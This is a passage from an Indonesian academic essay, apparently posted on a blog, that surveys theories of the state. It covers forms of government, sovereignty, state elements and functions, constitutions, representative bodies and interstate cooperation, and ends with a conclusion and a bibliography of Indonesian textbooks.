Kedua, bentuk pemerintahan dimana ada pemisahan yang tegas antara legislatif, eksekutif, dan yudikatif. Dalam sistem ini eksekutif (presiden) dan legislatif sama-sama dipilih secara langsung oleh rakyat melalui pemilihan umum. Bentuk pemerintahan seperti ini disebut sistem pemerintahan presidensiil. Ketiga, bentuk pemerintahan dengan pengawasan langsung oleh rakyat terhadap badan legislatif atau sistem Swiss. Dalam sistem ini parlemen tunduk kepada kontrol langsung dari rakyat, kontrol ini dilakukan dengan dua cara yaitu dengan referendum dan usul inisiatif rakyat.
Mengenai susunan negara ada dua kemungkinan bentuk yaitu negara kesatuan dan negara federasi. Menurut Soehino (2005) negara kesatuan adalah negara yang tidak tersusun dari beberapa negara, melainkan hanya terdiri atas satu negara sehingga hanya ada satu pemerintah yaitu pemerintah pusat yang melaksanakan pemerintahan negara baik di pusat maupun di daerah-daerah. Dalam perkembangannya dibeberapa negara telah melaksanakan asas dekonsentrasi, desentralisasi, dan tugas pembantuan.
Sedangkan negara federasi adalah negara yang tersusun dari beberapa negara yang semula telah berdiri sendiri dan memiliki Undang-undang Dasar dan pemerintahan sendiri, tetapi kemudian negara-negara tersebut saling menggabungkan diri untuk membentuk suatu ikatan kerjasama yang efektif Soehino (2005). Berdasarkan sifat hubungan antara pemerintah negara federal dengan negara-negara bagian, maka negara federasi dapat dibedakan menjadi dua jenis, yaitu negara serikat dan perserikatan negara. Adapun perbedaan antara keduanya menurut Jellinek (dalam Soehino, 2005) ada pada kedaulatannya, apabila kedaulatan itu ada pada negara federal maka negara federal itu disebut negara serikat. Apabila kedaulatan itu masih tetap ada pada negara-negara bagian maka negara federal ini disebut perserikatan negara.
Selain itu, perbedaan antara negara serikat dan perserikatan negara menurut Kranenburg (dalam Soehino, 2005) adalah apabila peraturan hukum yang dikeluarkan oleh pemerintah negara federal dapat secara langsung mengikat warga negara dari negara-negara bagian maka disebut negara serikat, dan apabila tidak dapat langsung mengikat maka disebut perserikatan negara. Dari kedua pendapat para ahli diatas, maka menurut Soehino (2005) adalah kedua pendapat tersebut pada prinsipnya adalah sama.

7.   Teori kedaulatan
Kedaulatan adalah kekuasaan tertinggi untuk menentukan hukum dalam negara. Oleh karena itu ada beberapa teori untuk mengetahui yang memiliki kekuasaan tertinggi dalam negara, yaitu teori kedaulatan Tuhan, teori kedaulatan raja, teori kedaulatan negara, teori kedaulatan hukum, dan teori kedaulatan rakyat.

a. Teori kedaulatan Tuhan
Teori ini mengatakan bahwa kekuasaan tertinggi dalam suatu negara adalah dimiliki oleh Tuhan. Dalam perkembangannya teori ini sangat erat hubungannya dengan perkembangan agama baru yang timbul pada saat itu yaitu agama Kristen, sekitar abad ke V sampai abad ke XV, yang kemudian diorganisir dalam suatu organisasi keagamaan yaitu gereja yang dikepalai oleh seorang Paus. Beberapa para ahli memiliki persamaan pendapat dalam teori ini yakni bahwa yang memiliki kekuasaan atau kedaulatan itu adalah Tuhan, namun yang menjadi persoalan adalah secara kongkrit di dalam suatu negara itu siapa yang mewakili Tuhan, raja ataukah Paus.
Menurut Agustinus yang mewakili Tuhan di dunia ini termasuk dalam negara adalah Paus. Sementara itu Thomas Aquinus berpendapat bahwa kekuasaan raja dan Paus itu sama hanya tugasnya yang berlainan, raja dalam lapangan keduniawian, Paus dalam lapangan keagamaan (dalam Soehino, 2005).

b. Teori kedaulatan raja
Menurut Marsilius kekuasaan tertinggi dalam negara ada pada raja, karena raja adalah wakil daripada Tuhan untuk melaksanakan kedaulatan di dunia. Oleh sebab itu raja berkuasa mutlak karena raja merasa merasa dalam tindak tanduknya menurut kehendak Tuhan (dalam Busroh, 1990).

c. Teori kedaulatan negara
Menurut Georg Jellinek yang menciptakan hukum bukan Tuhan dan bukan pula raja, tetapi negara (dalam Busroh, 1990). Selanjutnya masih menurut Georg Jellinek (dalam Soehino, 2005) mengatakan bahwa hukum itu adalah merupakan penjelmaan daripada kehendak atau kemauan negara, jadi negara satu-satunya sumber hukum yang memiliki kekuasaan tertinggi atau kedaulatan. Di luar negara tidak ada satu organpun yang berwenang menetapkan hukum.

d. Teori kedaulatan hukum
Menurut Krabbe (dalam Busroh, 1990) mengemukakan bahwa yang memiliki kekuasaan tertinggi dalam negara adalah hukum, jadi hukumlah yang berdaulaut bukan negara. Jadi yang menjadi sumber hukum menurut Krabbe (dalam Soehino, 2005) ialah rasa hukum yang terdapat di dalam masyarakat itu sendiri. Rasa hukum ini dalam bentuk yang masih sederhana, jadi yang tingkatannya masih rendah disebut instink hukum. Sedangkan dalam tingkatan yang lebih tinggi disebut kesadaran hukum.

e. Teori kedaulatan rakyat
Yang menjadi dasar dari teori ini adalah bahwa semula individu-individu melalui perjanjian masyarakat membentuk masyarakat, dan kepada masyarakat ini para individu menyerahkan kekuasaannya, yang selanjutnya masyarakat ini menyerahkan kekuasaan tersebut kepada raja (Soehino, 2005). Dan oleh karena raja mendapat kekuasaan dari rakyat maka kekuasaan tertinggi dan kedaulatannya itu ada pada rakyat, raja hanya pelaksana dari apa yang dikehendaki oleh rakyat. Oleh karena itu maka timbul kedaulatan baru, yang dipelopori oleh J.J. Rousseau yaitu kedaulatan rakyat. Kedaulatan rakyat menurut J.J. Rousseau pada prinsipnya adalah cara atau sistem yang bagaimanakah pemecahan sesuatu soal menurut cara atau sistem tertentu yang memenuhi kehendak umum (dalam Busroh, 1990).

8.   Teori unsur-unsur negara
Dalam teori kenegaraan, menurut Kansil dan Christine S.T. Kansil (2007) maka secara tradisional dikemukakan sebagai unsur negara ialah :
a. Unsur Wilayah
b. Unsur Bangsa/ Rakyat
c. Unsur Pemerintahan
Mengenai unsur wilayah dipersyaratkan bahwa kekuasaan tersebut harus secara efektif diakui di seluruh wilayah negara bersangkutan. Dari segi hukum maka wilayah ini merupakan wilayah hukum, yang dapat berupa wilayah ruang, wilayah orang dan wilayah soal/ bidang (Kansil dan Christine S.T. Kansil, 2007).
Mengenai unsur bangsa maka biasanya disebut natie/ nation atau Staatvolk yang artinya keseluruhan rakyat yang sadar bernegara. Apabila dilihat secara orang-seorang maka disebut warga negara. Mengenai warga negara ini menurut Kansil dan Christine S.T. Kansil (2007) dikenal empat status, antara lain :
a. Status positif   :   memperoleh fasilitas dan jaminan untuk mendapatkan kemakmuran dari negara.
b. Status negatif   :   negara tidak akan mencampuri hak asasi rakyatnya bila tidak perlu.
c. Status aktif       :   memberi hak kepada setiap warga negara untuk ikut serta dalam pemerintahan.
d. Status pasif      :   tunduk pada ketentuan-ketentuan negara.

Mengenai unsur pemerintahan biasanya dirumuskan berdaulat keluar dan kedalam, berdaulat keluar artinya mempunyai kedudukan yang sederajat dengan negara lain. Berdaulat kedalam artinya merupakan pemerintah/penguasa yang berwibawa (Kansil dan Christine S.T. Kansil, 2007).
9.   Teori fungsi negara
Fungsi negara pertama kali dikenal pada abad ke XVI di Prancis, antara laindiplomacie yaitu tugasnya adalah penghubung antar negara, difencie yaitu tugasnya adalah mengenai keamanan dan pertahanan negara, finance yaitu tugasnya adalah menyediakan keuangan negara, justicie yaitu tugasnya adalah menjaga ketertiban perselisihan antar warga negara dan urusan dalam negara, dan policie yaitu tugasnya mengurus yang belum menjadi kewenangan keempat fungsi negara diatas.
Dalam teori kenegaraan dikenal tiga teori fungsi yang utama yaitu Trias politica, Catur praja, dan Dwipraja (Kansil dan Christine S.T. Kansil, 2007). Teori trias politicadikemukakan oleh Montesquieu yang merupakan penyempurnaan dari teori John Locke membagi fungsi negara  dalam :
a. Fungsi legislatif
b. Fungsi eksekutif dan
c. Fungsi yudikatif
Sedangkan teori Catur praja yang dikemukakan oleh Van Vollen Hoven (dalam Busroh, 1990) fungsi negara itu ialah :
a. Regeling (membuat peraturan)
b. Bestuur (menyelenggara pemerintahan)
c. Rechtspraak (fungsi mengadili)
d. Politie (fungsi ketertiban dan keamanan)
Kemudian teori Dwipraja (dichotomy) yang dikemukakan oleh Goodnow (dalam Kansil dan Christine S.T. Kansil, 2007) membagi fungsi negara menjadi dua, yaitu :
a. Fungsi pembentukan haluan negara
b. Fungsi pelaksanaannya
Pada teori dikotomi dapat dilihat dengan jelas bahwa fungsi-fungsi utama daripada negara ialah menentukan Staatswil kemudian menentukan pola-pola pelaksanaannya sesuai dengan bidang trias politica, catur praja, maupun variasi-variasi lainnya (Kansil dan Christine S.T. Kansil, 2007).

10. Teori konstitusi
Istilah konstitusi telah dikenal semenjak zaman Yunani kuno, akan tetapi belum diletakkan dalam suatu naskah yang tertulis. Hal ini dapat dibuktikan dari paham Aristoteles yang membedakan istilah politea dan nomoi. Politea diartikan sebagai konstitusi sedangkannomoi diartikan undang-undang, dimana politea mengandung kekuasaan tertinggi darinomoi (Busroh, 1990).
Menurut Chaidir dan Fahmi (2010) bahwa misi utama pemikiran tentang konstitusi adalah menghendaki pembatasan kekuasaan. Pembatasan kekuasaan itu terutama dilakukan melalui hukum lebih khusus lagi, yaitu konstitusi. Mengenai istilah konstitusi dan UUD  masih menurut Chaidir dan Fahmi (2010) terbagi dua, yaitu pertama  pendapat yang membedakan konstitusi dan UUD. Kedua, pendapat yang menyamakan konstitusi dan UUD. Pada saat ini nampaknya pendapat kedua lebih diterima.    

11. Teori lembaga perwakilan
Teori lembaga perwakilan muncul karena asas demokrasi langsung tidak mungkin lagi dapat dijalankan, disebabkan bertambahnya penduduk, luasnya wilayah negara dan bertambah rumitnya urusan kenegaraan. Menurut Fatwa (2004) perwakilan merupakan mekanisme untuk merealisasikan gagasan normatif bahwa pemerintahan harus dijalankan dengan kehendak rakyat. Dengan demikian, yang bekepentingan terhadap lembaga perwakilan ini adalah rakyat, karena rakyat merupakan pihak yang diwakili atau selaku pihak yang menyerahkan kekuasaan/mandat untuk mewakili opini, sikap, dan kepentingannya kepada lembaga perwakilan didalam proses politik dan pemerintahan.
Peran utama dari lembaga perwakilan adalah sebagai badan pembuat hukum, dan sebagai himpunan wakil rakyat. Selain itu, peran lainnya seperti pengawasan dan sosialisasi terjadi melalui pelaksanaan fungsi-fungsi lembaga ini. Diberbagai negara terdapat perbedaan dalam merumuskan fungsi badan perwakilan. Oleh karena ada persamaan hakekat tentang fungsi lembaga perwakilan antar negara, maka secara keseluruhan menurut Sanit (1985) fungsi badan perwakilan ialah perundang-undangan, keuangan, pengawasan, pemilihan pejabat, dan internasional.
Secara strukturalisasi lembaga perwakilan dapat dilihat dari dua bentuk pengelompokan utama yaitu komisi dan fraksi. Komisi merupakan pengelompokan anggota secara fungsional yaitu atas dasar tugas-tugas tertentu yang umumnya berkaitan dengan pengelompokan tugas eksekutif. Sedangkan fraksi merupakan pengelompokan anggota lembaga perwakilan berdasarkan peta kekuatan politik utama secara nasional, dalam hal ini adalah partai politik, maka fraksi terdiri dari orang-orang partai.

12. Teori sendi-sendi pemerintahan
Menurut teorinya Busroh, (1990) menyatakan ada dua cara penyelenggaraan pemerintahan, yaitu sendi wilayah dan sendi keahlian. Sendi wilayah dapat dibagi dalam dua sendi pemerintahan yaitu sendi dekonsentralisasi dan sendi desentralisasi. Sendi dekonsentralisasi berarti wilayah negara dibagi dalam beberapa daerah besar dan kecil, dan setiap daerah tersebut ada wakil dari pemerintah pusat. Kewenangannya adalah atas nama pemerintah pusat dalam batas-batas tertentu. Sendi desentralisasi berarti wilayah negara dibagi dalam beberapa daerah besar dan kecil, yang mempunyai wewenang untuk mengatur dan mengurus urusan pemerintahan berdasarkan undang-undang.
Sedangkan sendi keahlian menurut Kansil dan Christine S.T. Kansil, (2007) berarti menyerahkan penyelenggaraan tugas-tugas pemerintah negara kepada ahli-ahli. Ada dua macam sendi keahlian menurut Busroh, (1990) yaitu pertama, pemerintahan dijalankan dengan sistem pegawai negeri. Kedua, pemerintahan dijalankan dengan sistem kepanitiaan.

13. Teori alat-alat perlengkapan negara
Alat perlengkapan negara dapat disebut dalam ragam istilah,yaitu organ, lembaga, forum, instansi, institusi tambahan, maupun badan-badan independen. Menurut Busroh (1990) yakni paham yang menguraikan tentang alat-alat perlengkapan negara ada tiga sudut pangdangan yaitu :
a. Paham Georg Jellinek
b. Paham yang meninjau dari segi fungsi negara
c. Paham yang meninjau dari segi yuridis
Georg Jellinek meninjau persoalan alat perlengkapan negara dalam dua segi. Pertama, alat perlengkapan negara yang bersumber langsung pada konstitusi. Kedua, alat perlengkapan negara yang tidak bersumber langsung pada konstitusi. Kemudian, paham yang meninjau dari segi fungsi negara adalah memandang bahwa adanya alat-alat perlengkapan negara itu tergantung pada realisasi daripada fungsi negara, jadi fungsi negara mengakibatkan timbulnya alat perlengkapan negara.
Oleh karena itu, dengan dasar memperhatikan fungsi negara di Prancis pada abad ke XVI maka timbul lima organ negara yaitu organ diplomacie, organ difencie, organ finance, organ justicie, dan organ policie. Kemudian, dengan dasar memperhatikan fungsi negara menurut Montesquieu dengan trias politica maka timbul tiga organ negara yaitu organ legislatif, organ eksekutif, dan organ yudikatif. Juga dengan dasar memperhatikan fungsi negara menurut Van Vollen Hoven maka timbul empat organ negara yaitu organ regeling, organ bestuur, organ rechtspraak, dan organ politie. Selanjutnya juga dengan memperhatikan fungsi negara yang dikemukakan oleh Goodnow maka timbul dua organ negara yakni organ policy makers, dan policy executors.
Dari segi yuridis menurut Busroh (1990) bahwa negara itu merupakan suatu organisasi jabatan, dan dalam penilaian alat-alat perlengkapan negara dimulai dari yang terkecil yaitu jabatan. Mengenai jabatan, maka ukuran yang dipakai ada empat kriteria, yaitu bagaimana bentuknya, bagaimana susunannya, apa tugas/kewajibannya, dan apa wewenang yang dimilikinya.

14. Teori kerja sama antar negara
Kerja sama antar negara adalah suatu hubungan dari beberapa negara yang dalam hubungan itu terjalin kerj asama dari negara-negara yang berkedudukan sama dan sejajar. Menurut Busroh (1990) bahwa memahami teori kerja sama antar negara dapat ditinjau melalui bentuknya, hukumnya, politiknya, dan sumbernya.
Ditinjau dari bentuk kerja samanya maka ada dua segi peninjauan yakni bentuk klasik dan faham federalisme. Bentuk klasik dalam arti luas merupakan segala macam kerja sama baik yang berdasarkan hukum internasional, geografis maupun dalam atas dasar lainnya. Dalam arti sempit bentuk klasik merupakan persoalan dalam ilmu kenegaraan yaitu apabila negara sebagai kesatuan politik bergabung yang kemudian membentuk pola-pola tertentu. Kemudian, peninjauan kerja sama antar negara dari segi faham federalisme yang memandang bahwa, pertama kerja sama antar negara yang menimbulkan alat perlengkapan negara baru. Kedua, kerja sama antar negara yang tidak menimbulkan alat perlengkapan negara baru. Ketiga, kerja sama antar negara yang berkedok penggabungan padahal kenyataannya tidak. Dan keempat, kerja sama antar negara yang betul-betul merupakan penggabungan beberapa negara.
Ditinjau kerja sama antar negara dari segi hukumnya maka hukum yang berlaku adalah hukum antar negara yang umum, dan hukum antar negara yang khusus seperti traktat. Ditinjau kerja sama antar negara dari segi politikya maka didalamnya mencakup politik internasional dan organisasi internasional. Ditinjau dari segi sumbernya maka sumber-sumber hukum kerja sama antar negara adalah traktat, kebiasaan internasional, pedapat para ahli tentang sendi-sendi hukum, dan keputusan-keputusan internasional.

C. Dampak Teori Negara

Sebagaimana telah diuraikan diatas bahwa negara telah lebih dulu ada, baru kemudian ada pemikiran-pemikiran tentang negara, namun sistem pemerintahannya sangat absolut dan sewenang-wenang. Oleh karena itu dengan adanya pemikiran-pemikiran atau teori-teori tentang negara dari zaman Yunani kuno sampai dengan sekarang, maka sesuai dengan perkembangannya telah berdampak pada pengelolaan negara dari bentuk monarki berubah menjadi demokrasi modern seperti sekarang ini. Selain itu, teori-teori tentang negara dari zaman ke zaman, maka berkembang sebuah ilmu yaitu ilmu negara, baik ilmu negara umum maupun khusus, demikian pula dampaknya seperti diuraikan diatas terhadap bangsa Indonesia.

III. Penutup

A. Kesimpulan

Tinjauan dari sisi sosiologis dan yuridis mengenai teori negara diatas menunjukkan bahwa, sisi sosiologis melihat negara sebagai suatu bangunan masyarakat atau negara sebagai suatu kebulatan yang utuh dari tampilan luarnya.  Sedangkan sisi yuridis melihat negara dalam strukturnya atau negara sebagai suatu bangunan hukum.

B. Saran

Dengan pembahasan mengenai teori negara ini hendaknya dapat membuka wawasan bernegara yang luas bagi semua kalangan.




DAFTAR PUSTAKA




Busroh, A.B. 1990. Ilmu Negara. PT Bumi Aksara, Jakarta.

Chaidir, E., dan Fahmi, S. 2010. Hukum Perbandingan Konstitusi. Total Media, Yogyakarta.

Fatwa, A.M. 2004. Melanjutkan Reformasi Membangun Demokrasi. PT RajaGrafindo Persada, Jakarta.

Kansil, C.S.T., dan Kansil Christine S.T. 2007. Ilmu Negara (Umum dan Indonesia). PT Pradnya Paramita, Jakarta.

Sanit, A. 1985. Perwakilan Politik di Indonesia. CV. Rajawali, Jakarta.

Soehino. 2005. Ilmu Negara. Liberty, Yogyakarta.


Postingan Lama